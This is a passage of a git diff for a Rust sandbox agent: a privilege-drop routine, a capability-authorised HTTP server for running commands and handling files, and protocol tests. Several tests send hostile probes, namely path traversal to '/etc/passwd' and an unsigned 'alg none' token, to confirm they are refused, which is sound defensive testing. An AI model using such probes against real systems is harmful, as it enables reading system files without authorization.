and by then the privilege needed to drop supplementary groups is gone. + +use std::io; + +use crate::exec::ExecIdentity; + +/// Drops to `identity` and makes the drop irreversible. +/// +/// Runs in the forked child before `exec`, so everything here is async-signal-safe. +/// +/// The order is load-bearing. Supplementary groups go first, because dropping the uid gives away +/// the privilege to drop them and they would otherwise survive — including group 0, which is most +/// of what refusing gid 0 is there to prevent. gid before uid for the same reason. +/// +/// # Safety +/// +/// Must be called only between `fork` and `exec`. +pub unsafe fn drop_to(identity: ExecIdentity) -> io::Result<()> { + // Shedding groups needs `CAP_SETGID`, which a process that is not crossing a privilege + // boundary does not have and does not need: if the command already runs as this identity, + // there is no membership for it to inherit that it would not have had anyway. A real drop + // must shed them, and a failure there is fatal rather than a partial boundary. + let crossing = libc::geteuid() != identity.uid || libc::getegid() != identity.gid; + if crossing && libc::setgroups(0, std::ptr::null()) != 0 { + return Err(io::Error::last_os_error()); + } + + if libc::setgid(identity.gid) != 0 { + return Err(io::Error::last_os_error()); + } + + if libc::setuid(identity.uid) != 0 { + return Err(io::Error::last_os_error()); + } + + // The base image comes from the caller, so it may carry a setuid binary. Without this the + // command runs one and returns to uid 0, undoing the drop above. Unprivileged and one-way. + #[cfg(target_os = "linux")] + if libc::prctl(libc::PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0 { + return Err(io::Error::last_os_error()); + } + + // Refuse rather than run wide. A drop that silently failed would run untrusted code as the + // agent, which is the whole escalation this exists to prevent. + if libc::geteuid() != identity.uid || libc::getegid() != identity.gid { + // No allocation between fork and exec: std transports only the raw errno to the parent, + // so a message would be discarded, and allocating here can deadlock on the malloc lock. + return Err(io::Error::from_raw_os_error(libc::EPERM)); + } + + Ok(()) +} diff --git a/crates/alien-sandbox-agent/src/server.rs b/crates/alien-sandbox-agent/src/server.rs new file mode 100644 index 000000000..24bde745a --- /dev/null +++ b/crates/alien-sandbox-agent/src/server.rs @@ -0,0 +1,380 @@ +//! The agent's HTTP surface, served from inside the sandbox. +//! +//! Every route that can reach session contents is authorised first, by whichever of the two +//! modes in [`AgentAuthorization`] was fixed at session start. Where the transport cannot say +//! which session a caller may reach, a signed capability says it. + +use std::net::SocketAddr; +use std::path::PathBuf; +use std::sync::Arc; + +use axum::body::Body; +use axum::extract::{ConnectInfo, Query, State}; +use axum::http::{HeaderMap, StatusCode}; +use axum::response::Response; +use axum::routing::{get, post}; +use axum::{Json, Router}; +use base64::engine::general_purpose::STANDARD as BASE64; +use base64::Engine as _; +use bytes::Bytes; +use ed25519_compact::PublicKey; +use serde::{Deserialize, Serialize}; +use tokio::sync::mpsc; + +use crate::error::ErrorData; +use crate::exec::{self, ExecIdentity, ExecRequest, Frame, FRAME_CHANNEL_DEPTH}; +use crate::files; +use crate::paths::resolve_within_root; +use alien_core::sandbox_capability::{SandboxOperationClass, SandboxSessionIdentity}; +use alien_core::sandbox_capability_token; +use alien_error::AlienError; + +/// Prefix the MicroVM build and lifecycle probes call inside the guest. +/// +/// Not `/ready`: the service's error message names the hook `(/ready)` as a *label*, and the +/// real path carries this prefix. An agent serving the short path 404s every probe, and the +/// image build fails after several minutes with nothing in the logs. +pub const HOOK_PREFIX: &str = "/aws/lambda-microvms/runtime/v1"; + +/// Full path for one lifecycle hook. +pub fn hook_path(hook: &str) -> String { + format!("{HOOK_PREFIX}/{hook}") +} + +/// The protocol version this agent speaks. +/// +/// The agent ships inside the image and outlives the deployment that built it, so this is +/// negotiated rather than assumed — see [`health`]. +pub const PROTOCOL_VERSION: u32 = 1; + +/// What proves a request may reach this session. +/// +/// Two modes because the platforms genuinely differ, and collapsing them would mean either +/// carrying a signing key where the cloud already solves the problem, or trusting a transport +/// that proves nothing. Which one applies is decided at session start, not per request. +pub enum AgentAuthorization { + /// Every request must carry a capability signed by the session's issuer. + /// + /// Kubernetes and Local: reaching the agent proves only that the caller reached the pod or + /// the loopback route, and a session id is a name a caller could guess. + Capability { + /// Public half of the issuer's signing key. The private half never enters a sandbox. + public_key: PublicKey, + /// The session this agent serves, and the generation it started under + identity: SandboxSessionIdentity, + }, + + /// The transport already authorised the caller for exactly this session. + /// + /// AWS: the proxy validates a JWE minted with the workload's own IAM identity and scoped to + /// one MicroVM, an explicit port set, and an expiry — a port outside that set is rejected. + /// One MicroVM is one session, so the scope the capability would add is already enforced, + /// and terminate is `TerminateMicrovm`, which destroys the VM rather than fencing it. + Transport, +} + +/// Everything the agent knows about itself, fixed at session start. +pub struct AgentState { + /// Directory every path is resolved against. Canonical. + pub session_root: PathBuf, + /// What a request must present to reach this session + pub authorization: AgentAuthorization, + /// The unprivileged identity commands run as, never the agent's own + pub exec_identity: ExecIdentity, + /// Bytes of each stream kept before output is truncated + pub output_cap: usize, +} + +/// Liveness and the version the agent speaks. +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct HealthResponse { + /// The protocol version this agent implements + pub protocol_version: u32, +} + +/// Optional version assertion from the caller. +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct HealthQuery { + /// The version the caller intends to speak + pub version: Option, +} + +/// Which file to read. +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct FileQuery { + /// Path inside the session + pub path: String, +} + +/// File contents on the way out. +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct ReadFileResponse { + /// Contents, base64 because a file is arbitrary bytes + pub contents_base64: String, +} + +/// A file on the way in. +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct WriteFileBody { + /// Path inside the session + pub path: String, + /// Contents, base64 + pub contents_base64: String, +} + +/// A directory to create. +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct MkdirBody { + /// Path inside the session + pub path: String, +} + +/// Builds the agent's router. +pub fn router(state: Arc) -> Router { + // Base64 inflates by 4/3; the rest is the JSON envelope. Without this axum's 2MB default + // would reject writes far below the limit `files` documents and enforces itself. + let body_limit = (crate::files::MAX_TRANSFER_BYTES as usize / 3) * 4 + 4096; + + Router::new() + .route("/v1/health", get(health)) + .route(&hook_path("ready"), get(hook_ready).post(hook_ready)) + .route(&hook_path("validate"), get(hook_ready).post(hook_ready)) + .route(&hook_path("run"), get(hook_lifecycle).post(hook_lifecycle)) + .route(&hook_path("resume"), get(hook_lifecycle).post(hook_lifecycle)) + .route(&hook_path("suspend"), get(hook_lifecycle).post(hook_lifecycle)) + .route(&hook_path("terminate"), get(hook_lifecycle).post(hook_lifecycle)) + .route("/v1/exec", post(run_command)) + .route("/v1/files", get(read_file).put(write_file)) + .route("/v1/mkdir", post(mkdir)) + .layer(axum::extract::DefaultBodyLimit::max(body_limit)) + .with_state(state) +} + +/// Liveness, and the one place protocol versions are reconciled. +/// +/// Unauthenticated: it reports the version and nothing about the session, so requiring a +/// capability would only stop a liveness probe from working. +async fn health( + Query(query): Query, +) -> std::result::Result, ApiError> { + // A mismatch is named, not negotiated down. Guessing which fields an older peer understands + // is how a protocol acquires undocumented dialects. + if let Some(requested) = query.version { + if requested != PROTOCOL_VERSION { + return Err(ApiError::from(AlienError::new( + ErrorData::ProtocolVersionMismatch { + requested, + supported: PROTOCOL_VERSION, + }, + ))); + } + } + + Ok(Json(HealthResponse { + protocol_version: PROTOCOL_VERSION, + })) +} + +/// The image's readiness and validation hooks. +/// +/// AWS snapshots the MicroVM once this answers 200, and every later MicroVM boots from that +/// snapshot — 503 means "not yet". Reaching this handler *is* the readiness signal: the router +/// is live by then, so there is nothing further to wait for. +/// +/// Unauthenticated, like `/v1/health`: the MicroVM service calls it, not a session caller, and it +/// reveals nothing about the session. +async fn hook_ready() -> StatusCode { + StatusCode::OK +} + +/// The run / resume / suspend / terminate hooks. +/// +/// Enabled because a declared hook that cannot be reached fails the image build. Two MicroVMs +/// restored from one image differ in `/dev/urandom` while `boot_id` is identical, so entropy +/// separation comes from the platform and the residue is kernel identity, which userspace cannot +/// reset. This acknowledges and claims nothing more. +async fn hook_lifecycle() -> StatusCode { + StatusCode::OK +} + +async fn run_command( + State(state): State>, + ConnectInfo(peer): ConnectInfo, + headers: HeaderMap, + Json(request): Json, +) -> std::result::Result { + authorize(&state, peer, &headers, SandboxOperationClass::Execute)?; + + // Resolved before anything is spawned, so a refused directory is an error response rather + // than a stream whose first frame is a failure. + let working_directory = match &request.working_directory { + Some(path) => resolve_within_root(&state.session_root, path)?, + None => state.session_root.clone(), + }; + + let (sender, receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + let output_cap = state.output_cap; + let identity = state.exec_identity; + tokio::spawn(async move { + exec::stream(&request, Some(&working_directory), identity, output_cap, sender).await; + }); + + let frames = futures::stream::unfold(receiver, |mut receiver| async move { + let frame = receiver.recv().await?; + Some((encode_frame(&frame), receiver)) + }); + + Response::builder() + .header(axum::http::header::CONTENT_TYPE, "application/x-ndjson") + .body(Body::from_stream(frames)) + .map_err(|error| { + ApiError::from(AlienError::new(ErrorData::OperationFailed { + operation: "stream command output".to_string(), + reason: error.to_string(), + })) + }) +} + +/// Serializes one frame as an NDJSON line. +/// +/// A serialization failure aborts the body rather than skipping the frame: a caller that sees a +/// truncated stream reports a transport failure, where a silently dropped frame could look like +/// a command that produced less output than it did. +fn encode_frame(frame: &Frame) -> std::result::Result { + let mut line = serde_json::to_vec(frame).map_err(std::io::Error::other)?; + line.push(b'\n'); + Ok(Bytes::from(line)) +} + +async fn read_file( + State(state): State>, + ConnectInfo(peer): ConnectInfo, + headers: HeaderMap, + Query(query): Query, +) -> std::result::Result, ApiError> { + authorize(&state, peer, &headers, SandboxOperationClass::Execute)?; + + let contents = files::read(&state.session_root, &query.path).await?; + + Ok(Json(ReadFileResponse { + contents_base64: BASE64.encode(contents), + })) +} + +async fn write_file( + State(state): State>, + ConnectInfo(peer): ConnectInfo, + headers: HeaderMap, + Json(body): Json, +) -> std::result::Result { + authorize(&state, peer, &headers, SandboxOperationClass::Execute)?; + + let contents = BASE64.decode(&body.contents_base64).map_err(|error| { + AlienError::new(ErrorData::RequestInvalid { + reason: format!("contents are not valid base64: {error}"), + }) + })?; + + files::write(&state.session_root, &body.path, &contents).await?; + + Ok(StatusCode::NO_CONTENT) +} + +async fn mkdir( + State(state): State>, + ConnectInfo(peer): ConnectInfo, + headers: HeaderMap, + Json(body): Json, +) -> std::result::Result { + authorize(&state, peer, &headers, SandboxOperationClass::Execute)?; + + files::mkdir(&state.session_root, &body.path).await?; + + Ok(StatusCode::NO_CONTENT) +} + +/// Verifies the request may reach this session, or refuses it. +fn authorize( + state: &AgentState, + peer: SocketAddr, + headers: &HeaderMap, + required: SandboxOperationClass, +) -> std::result::Result<(), ApiError> { + let AgentAuthorization::Capability { + public_key, + identity, + } = &state.authorization + else { + // Transport mode trusts what arrives through the transport. The command this agent + // spawned shares the guest's network stack and reaches the same port without it, so a + // caller has to be from off the machine, or in the guest under some other user. + if !crate::peer::transport_may_serve(peer, state.exec_identity.uid) { + return Err(ApiError { + status: StatusCode::FORBIDDEN, + message: "the agent does not serve the code it is running".to_string(), + }); + } + return Ok(()); + }; + + let token = headers + .get(axum::http::header::AUTHORIZATION) + .and_then(|value| value.to_str().ok()) + .and_then(|value| value.strip_prefix("Bearer ")) + .ok_or_else(|| ApiError { + status: StatusCode::UNAUTHORIZED, + message: "a capability is required".to_string(), + })?; + + sandbox_capability_token::verify( + token, + public_key, + identity, + required, + chrono::Utc::now().timestamp(), + ) + .map_err(ApiError::from)?; + + Ok(()) +} + +/// An error on its way back to the caller. +pub struct ApiError { + status: StatusCode, + message: String, +} + +impl From> for ApiError +where + T: alien_error::AlienErrorData + Clone + std::fmt::Debug + serde::Serialize, +{ + fn from(error: AlienError) -> Self { + let status = error + .http_status_code + .and_then(|code| StatusCode::from_u16(code).ok()) + .unwrap_or(StatusCode::INTERNAL_SERVER_ERROR); + + // Whatever shares the pod's network namespace can reach this surface, so an error marked + // internal is reported by code alone. No variant is internal today; the gate is here so + // that adding one does not silently start leaking. + let message = if error.internal { + error.code.to_string() + } else { + error.to_string() + }; + + Self { status, message } + } +} + +impl axum::response::IntoResponse for ApiError { + fn into_response(self) -> Response { + (self.status, self.message).into_response() + } +} diff --git a/crates/alien-sandbox-agent/tests/protocol.rs b/crates/alien-sandbox-agent/tests/protocol.rs new file mode 100644 index 000000000..10607983e --- /dev/null +++ b/crates/alien-sandbox-agent/tests/protocol.rs @@ -0,0 +1,510 @@ +//! The agent protocol over a real socket. +//! +//! The unit tests prove each rule in isolation; these prove the rules survive being wired to +//! HTTP — that authorization actually runs before a handler touches the session, that a stream +//! carries frames a caller can parse, and that a refusal reaches the caller as a status code +//! rather than a body it might mistake for a result. + +use std::net::SocketAddr; +use std::path::PathBuf; +use std::sync::Arc; + +use alien_core::sandbox_capability::{ + SandboxCapabilityClaims, SandboxOperationClass, SandboxSessionIdentity, +}; +use alien_core::sandbox_capability_token; +use alien_sandbox_agent::exec::ExecIdentity; +use alien_sandbox_agent::server::{router, AgentAuthorization, AgentState, PROTOCOL_VERSION}; +use base64::engine::general_purpose::STANDARD as BASE64; +use base64::Engine as _; +use ed25519_compact::{KeyPair, Seed}; +use serde_json::json; +use tempfile::TempDir; +use tokio::net::TcpListener; + +const SESSION: &str = "session-1"; + +/// The test process's own identity. Setting a uid to its own is permitted unprivileged, so the +/// real drop path runs without needing root. +fn test_identity() -> ExecIdentity { + unsafe { + ExecIdentity { + uid: libc::getuid(), + gid: libc::getgid(), + } + } +} +const GENERATION: u64 = 3; + +struct Agent { + base_url: String, + keys: KeyPair, + root: PathBuf, + _dir: TempDir, +} + +impl Agent { + async fn start() -> Self { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path().canonicalize().expect("canonical root"); + let keys = KeyPair::from_seed(Seed::new([3u8; 32])); + + let state = Arc::new(AgentState { + session_root: root.clone(), + authorization: AgentAuthorization::Capability { + public_key: keys.pk, + identity: SandboxSessionIdentity { + session_id: SESSION.to_string(), + generation: GENERATION, + }, + }, + exec_identity: test_identity(), + output_cap: 1 << 20, + }); + + let listener = TcpListener::bind::("127.0.0.1:0".parse().expect("literal")) + .await + .expect("bind loopback"); + let address = listener.local_addr().expect("address"); + + tokio::spawn(async move { + axum::serve( + listener, + router(state).into_make_service_with_connect_info::(), + ) + .await + .expect("serve"); + }); + + Self { + base_url: format!("http://{address}"), + keys, + root, + _dir: dir, + } + } + + /// A capability this agent should accept. + fn capability(&self) -> String { + self.mint(claims()) + } + + fn mint(&self, claims: SandboxCapabilityClaims) -> String { + sandbox_capability_token::mint(&claims, &self.keys.sk).expect("mints") + } +} + +fn claims() -> SandboxCapabilityClaims { + SandboxCapabilityClaims { + session_id: SESSION.to_string(), + operation: SandboxOperationClass::Execute, + generation: GENERATION, + expires_at: chrono::Utc::now().timestamp() + 300, + key_id: "k1".to_string(), + } +} + +/// Parses an NDJSON body into frames, asserting the stream is well-formed as the protocol +/// defines it: parseable lines, and exactly one terminal frame, last. +fn frames(body: &str) -> Vec { + let frames: Vec = body + .lines() + .filter(|line| !line.is_empty()) + .map(|line| serde_json::from_str(line).expect("every frame is a complete JSON line")) + .collect(); + + let terminals = frames + .iter() + .filter(|frame| matches!(frame["t"].as_str(), Some("exit") | Some("error"))) + .count(); + assert_eq!(terminals, 1, "exactly one terminal frame: {frames:?}"); + assert!( + matches!( + frames.last().expect("at least one frame")["t"].as_str(), + Some("exit") | Some("error") + ), + "the terminal frame must be last: {frames:?}" + ); + + frames +} + +#[tokio::test] +async fn health_reports_the_protocol_version_without_a_capability() { + let agent = Agent::start().await; + + let response = reqwest::get(format!("{}/v1/health", agent.base_url)) + .await + .expect("health responds"); + + assert_eq!(response.status(), 200); + let body: serde_json::Value = response.json().await.expect("json"); + assert_eq!(body["protocolVersion"], PROTOCOL_VERSION); +} + +/// The agent outlives the deployment that built its image, so a mismatch has +/// to be a named error — not a request the agent half-understands. +#[tokio::test] +async fn a_version_mismatch_is_a_typed_error_naming_both_versions() { + let agent = Agent::start().await; + + let response = reqwest::get(format!( + "{}/v1/health?version={}", + agent.base_url, + PROTOCOL_VERSION + 1 + )) + .await + .expect("responds"); + + assert_eq!(response.status(), 400); + let body = response.text().await.expect("body"); + assert!( + body.contains(&format!("v{}", PROTOCOL_VERSION + 1)) + && body.contains(&format!("v{PROTOCOL_VERSION}")), + "the error must name both versions: {body}" + ); +} + +#[tokio::test] +async fn a_request_without_a_capability_is_refused() { + let agent = Agent::start().await; + + let response = reqwest::Client::new() + .post(format!("{}/v1/exec", agent.base_url)) + .json(&json!({"command": ["/bin/echo", "hi"], "deadlineMs": 5000})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 401); +} + +/// Over the wire: session ids and hostnames are guessable, so this is the refusal that matters +/// most. +#[tokio::test] +async fn a_capability_for_another_session_is_refused() { + let agent = Agent::start().await; + let mut other = claims(); + other.session_id = "someone-elses-session".to_string(); + + let response = reqwest::Client::new() + .post(format!("{}/v1/exec", agent.base_url)) + .bearer_auth(agent.mint(other)) + .json(&json!({"command": ["/bin/echo", "hi"], "deadlineMs": 5000})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 403); +} + +/// Terminate bumps the generation, and anything minted before it is void. +#[tokio::test] +async fn a_capability_from_a_previous_generation_is_refused() { + let agent = Agent::start().await; + let mut stale = claims(); + stale.generation = GENERATION - 1; + + let response = reqwest::Client::new() + .get(format!("{}/v1/files?path=/anything", agent.base_url)) + .bearer_auth(agent.mint(stale)) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 403); +} + +/// A malformed token is refused with the same status as a well-formed one for the wrong session. +/// +/// The status is all an unauthenticated caller sees, so a different one for a garbled token would +/// tell them which of the two they sent. This pins that: the agent derives the status from the +/// error, and every failure inside `verify` is the same coarse refusal. +#[tokio::test] +async fn a_malformed_token_is_refused_like_a_wrong_one() { + let agent = Agent::start().await; + + for token in ["not-a-token", "a.b.c", "!!!!", "eyJhbGciOiJub25lIn0."] { + let response = reqwest::Client::new() + .get(format!("{}/v1/files?path=/anything", agent.base_url)) + .bearer_auth(token) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 403, "malformed token {token:?}"); + } +} + +#[tokio::test] +async fn an_expired_capability_is_refused() { + let agent = Agent::start().await; + let mut expired = claims(); + expired.expires_at = chrono::Utc::now().timestamp() - 1; + + let response = reqwest::Client::new() + .get(format!("{}/v1/files?path=/anything", agent.base_url)) + .bearer_auth(agent.mint(expired)) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 403); +} + +#[tokio::test] +async fn a_command_streams_its_output_and_a_real_exit_code() { + let agent = Agent::start().await; + + let response = reqwest::Client::new() + .post(format!("{}/v1/exec", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({"command": ["/bin/sh", "-c", "echo out; echo err 1>&2; exit 7"], "deadlineMs": 10_000})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 200); + assert_eq!( + response + .headers() + .get("content-type") + .and_then(|value| value.to_str().ok()), + Some("application/x-ndjson") + ); + + let frames = frames(&response.text().await.expect("body")); + let terminal = frames.last().expect("terminal"); + assert_eq!(terminal["t"], "exit"); + assert_eq!(terminal["code"], 7, "the real exit code, not a normalised one"); + + let decoded: Vec = frames + .iter() + .filter_map(|frame| frame["data"].as_str()) + .map(|data| String::from_utf8(BASE64.decode(data).expect("base64")).expect("utf8")) + .collect(); + assert!( + decoded.iter().any(|line| line.trim() == "out") + && decoded.iter().any(|line| line.trim() == "err"), + "both streams must reach the caller: {decoded:?}" + ); +} + +/// Over the wire: the stream ends with an error frame naming the deadline, not with a silent +/// close the caller could read as success. +#[tokio::test] +async fn a_command_that_overruns_ends_the_stream_with_a_deadline_error() { + let agent = Agent::start().await; + + let response = reqwest::Client::new() + .post(format!("{}/v1/exec", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({"command": ["/bin/sleep", "30"], "deadlineMs": 300})) + .send() + .await + .expect("responds"); + + let frames = frames(&response.text().await.expect("body")); + let terminal = frames.last().expect("terminal"); + assert_eq!(terminal["t"], "error"); + assert_eq!(terminal["code"], "deadlineExceeded"); +} + +#[tokio::test] +async fn a_file_round_trips_through_the_protocol() { + let agent = Agent::start().await; + let client = reqwest::Client::new(); + + let write = client + .put(format!("{}/v1/files", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({"path": "/work/main.py", "contentsBase64": BASE64.encode("print(1)")})) + .send() + .await + .expect("responds"); + assert_eq!(write.status(), 204); + + let read: serde_json::Value = client + .get(format!("{}/v1/files?path=/work/main.py", agent.base_url)) + .bearer_auth(agent.capability()) + .send() + .await + .expect("responds") + .json() + .await + .expect("json"); + + let contents = BASE64 + .decode(read["contentsBase64"].as_str().expect("contents")) + .expect("base64"); + assert_eq!(String::from_utf8(contents).expect("utf8"), "print(1)"); + + // On disk at the asked-for path: a trailing separator lands it elsewhere and the OS refuses the write. + assert!(agent.root.join("work/main.py").is_file()); +} + +/// Over the wire: the resolver is unit-tested; this proves the HTTP layer cannot reach the +/// filesystem around it. +#[tokio::test] +async fn path_traversal_is_refused_over_the_protocol() { + let agent = Agent::start().await; + let client = reqwest::Client::new(); + + let read = client + .get(format!("{}/v1/files?path=/../../etc/passwd", agent.base_url)) + .bearer_auth(agent.capability()) + .send() + .await + .expect("responds"); + assert_eq!(read.status(), 400); + + let write = client + .put(format!("{}/v1/files", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({"path": "../escaped.txt", "contentsBase64": BASE64.encode("x")})) + .send() + .await + .expect("responds"); + assert_eq!(write.status(), 400); + + let working_directory = client + .post(format!("{}/v1/exec", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({ + "command": ["/bin/pwd"], + "deadlineMs": 5000, + "workingDirectory": "/../.." + })) + .send() + .await + .expect("responds"); + assert_eq!( + working_directory.status(), + 400, + "a working directory outside the session must be refused before anything is spawned" + ); +} + +#[tokio::test] +async fn mkdir_creates_a_directory_inside_the_session() { + let agent = Agent::start().await; + + let response = reqwest::Client::new() + .post(format!("{}/v1/mkdir", agent.base_url)) + .bearer_auth(agent.capability()) + .json(&json!({"path": "/work/build"})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 204); + assert!(agent.root.join("work/build").is_dir()); +} + +/// AWS: the proxy validates a JWE scoped to one MicroVM, an explicit port set and an expiry +/// before a request ever arrives, and one MicroVM is one session. This asserts the mode is +/// real — and, by contrast with the 401 above, that choosing it is what changes the outcome +/// rather than the capability check being absent everywhere. +#[tokio::test] +async fn transport_authorization_needs_no_capability() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path().canonicalize().expect("canonical root"); + + let state = Arc::new(AgentState { + session_root: root.clone(), + authorization: AgentAuthorization::Transport, + // Not the test's own uid: the agent and the code it runs are different users in a real + // image, and the caller here stands in for one arriving through the transport. + exec_identity: ExecIdentity { uid: 60000, gid: 60000 }, + output_cap: 1 << 20, + }); + + let listener = TcpListener::bind::("127.0.0.1:0".parse().expect("literal")) + .await + .expect("bind loopback"); + let address = listener.local_addr().expect("address"); + tokio::spawn(async move { + axum::serve( + listener, + router(state).into_make_service_with_connect_info::(), + ) + .await + .expect("serve"); + }); + + let response = reqwest::Client::new() + .post(format!("http://{address}/v1/mkdir")) + .json(&json!({"path": "/work"})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 204); + assert!(root.join("work").is_dir()); +} + +/// Transport mode accepts a caller without a capability, which is safe for anything arriving +/// through the transport and is not safe for the command the agent itself started — that command +/// shares the guest's network stack and can reach the same port. Running the agent with this +/// process as its exec identity is what a command connecting back looks like from the inside. +/// +/// Linux-only because the socket's owner is read from `/proc/net/tcp`. +#[tokio::test] +#[cfg(target_os = "linux")] +async fn transport_authorization_refuses_the_code_the_agent_runs() { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path().canonicalize().expect("canonical root"); + + let state = Arc::new(AgentState { + session_root: root.clone(), + authorization: AgentAuthorization::Transport, + exec_identity: test_identity(), + output_cap: 1 << 20, + }); + + let listener = TcpListener::bind::("127.0.0.1:0".parse().expect("literal")) + .await + .expect("bind loopback"); + let address = listener.local_addr().expect("address"); + tokio::spawn(async move { + axum::serve( + listener, + router(state).into_make_service_with_connect_info::(), + ) + .await + .expect("serve"); + }); + + let response = reqwest::Client::new() + .post(format!("http://{address}/v1/mkdir")) + .json(&json!({"path": "/work"})) + .send() + .await + .expect("responds"); + + assert_eq!(response.status(), 403, "the agent must not serve its own supervised code"); + assert!( + !root.join("work").exists(), + "a refused request must not have done its work anyway" + ); +} + +/// The paths carry the `/aws/lambda-microvms/runtime/v1` prefix. Serving the short `/ready` the +/// service's error message names 404s every probe, and the image build then fails after minutes +/// with no logs to explain it. +#[tokio::test] +async fn the_lifecycle_hooks_answer_without_a_capability() { + let agent = Agent::start().await; + + for hook in ["ready", "validate", "run", "resume", "suspend", "terminate"] { + let path = alien_sandbox_agent::server::hook_path(hook); + let response = reqwest::get(format!("{}{path}", agent.base_url)) + .await + .expect("responds"); + assert_eq!( + response.status(), + 200, + "{path} is called by the MicroVM service, not a session caller, so it cannot require a capability" + ); + } +} diff --git a/crates/alien-sdk/src/lib.rs b/crates/alien-sdk/src/lib.rs index bd797d191..707dde742 100644 --- a/crates/alien-sdk/src/lib.rs +++ b/crates/alien-sdk/src/lib.rs @@ -82,8 +82,9 @@ pub mod presigned { /// through storage/KV/queue/vault/container calls). pub mod traits { pub use alien_bindings::traits::{ - Kv, KvEntry, MessagePayload, PutCondition, PutOptions, QueueMessage, ScanResult, Storage, - Vault, + CommandOutput, CreateSessionRequest, Kv, KvEntry, MessagePayload, PutCondition, + PutOptions, QueueMessage, RunCommandRequest, Sandbox, SandboxSession, + SandboxSessionState, ScanResult, Storage, Vault, }; pub use alien_bindings::{BoundQueue as Queue, Container}; }